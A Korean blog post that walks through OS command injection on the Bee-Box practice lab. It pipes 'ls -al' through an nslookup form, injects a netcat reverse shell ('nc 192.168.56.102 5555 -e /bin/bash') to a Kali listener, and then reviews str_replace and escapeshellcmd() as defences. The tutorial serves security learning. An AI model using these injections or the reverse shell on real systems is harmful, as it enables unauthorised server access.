일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 메소드
- 포인터
- 조건문
- 함수
- element 조회
- htmlspecialchars
- property
- document
- github
- python
- lord of sql injection
- burp suite
- 사칙연산
- blind sql injection
- xss game
- IF문
- 백준 알고리즘
- suninatas 풀이
- 자바스크립트
- 김성엽 대표님
- 백준 파이썬
- jQuery
- window
- 객체
- Pwndbg
- 파이썬
- 배열
- sql injection
- xss game 풀이
- object
- Today
- Total
power-girl0-0
OS 커맨드 인젝션 ( OS Command Injection ) 본문
OS 커맨드 인젝션 ( OS Command Injection )란?
취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격이다.
1. 해당 페이지는 nslookup 명령어를 사용하여 DNS 주소를 출력해주는 페이지다.
해당 페이지는 시스템 명령어를 사용하여 OS의 정보를 알아낼 수 있다는 것을 알 수 있다.
2. 파이프라인( | )을 활용하여 서버시스템이 가진 파일 목록을 출력해보겠다.
- 파이프 라인( | ) : 둘 이상의 명령어를 실행할 때 사용한다. (순서는 앞 명령어 후 뒤 명령어가 실행된다.)
- ls 명령어 : 현재 경로에 있는 파일 및 디렉터리를 출력해준다.
그렇다면 모든 파일의 정보를 출력해도록 하겠다. ( 명령어 : ls -al )
다음과 같이 파일의 접근 권한 등 시스템 명령어를 활용하여 서버 정보를 알아낼 수 있다.
3. netcat(넷캣) 명령어를 이용하여 비박스의 서버 정보를 외부에서 파악하기 위해 시도해보겠다.
- 환경 구축 : Kali
- netcat이란?
1) 정의 : TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 역할
2) 명령어 : nc [옵션] [포트]
3) 옵션 :
옵션 | 설명 |
-n | 호스트 네임과 포트를 숫자로만 입력 |
-v | verbosity를 증가(더 많은 정보를 얻을 수 있음) |
-o | 보내거나 받은 데이터를 헥스덤프하여 파일에 저장 |
-u | UDP 연결 |
-p | local port 지정 |
-s | local ip address 지정 |
-l | listen 모드로 port오픈 |
-z | 최소한의 데이터로 연결 |
(1) nc -l -p 명령어를 사용하여 5555번 포트를 listen모드로 열어주고 넷캣을 실행한다.
(2) 넷캣과 연결한다.
- 칼리 리눅스의 IP주소와 포트번호를 입력하고 -e 옵션으로 bash셸을 실행한다.
* 보안상 -e 옵션을 사용하면 공격자가 이처럼 활용할 수 있기 때문에 실무에서는 telnet명령어로 우회 공격하게 된다.
- 칼리 리눅스에서 비박스 서버의 정보를 알수있다.
| nc 192.168.56.102 5555 -e /bin/bash |
(3) 넷캣으로 연결될 때까지 페이지는 로딩상태가 되고 이때, Kali로 돌아가면 비박스인 서버정보를 확인할 수 있다.
대응방안
대응방안을 알기 위해 소스를 분석해 보겠다.
medium레벨은 commandi_check_1함수로 우회한 것을 볼 수 있으며, high레벨은 commandi_check_2함수로 우회한 것을 확인 할 수 있다.
그렇다면 함수에 대한 소스를 살펴보도록 하겠다.
medium레벨에서는 str_replace함수를 통해 기본적인 문자를 필터링한다.
세번째 인자가 가리키는 변수내의 내용중에 첫번째 인자를 두번째 인자값으로 바꿔 다시 반환하는 함수이다.
high레벨에서는 escapeshellcmd()라는 함수를 사용하였다.
해당 함수는 쉘 명령어로 보이는 문구들을 우회시켜주는 역할을 한다.
회피하는 특수 문자들로는 #,&,;,',|,*,?,~,<,>,^,(,),[,],{,},$,\,\x00,\xFF 등 많은 문자들을 우회해준다.
따라서 OS Command Injection은 escapeshellcmd()함수를 사용하여 대응한다.
'웹해킹 > Bee-Box' 카테고리의 다른 글
SSI Injection ( Sever-Side-Includes Injection ) (0) | 2020.09.17 |
---|---|
PHP 코드 인젝션 ( PHP Code Injection ) (0) | 2020.09.17 |
iFrame Injection (0) | 2020.09.16 |
HTML 인젝션 - 저장기법(Blog) (0) | 2020.09.16 |
Bee-box를 window에서 사용하는 방법 (0) | 2020.03.25 |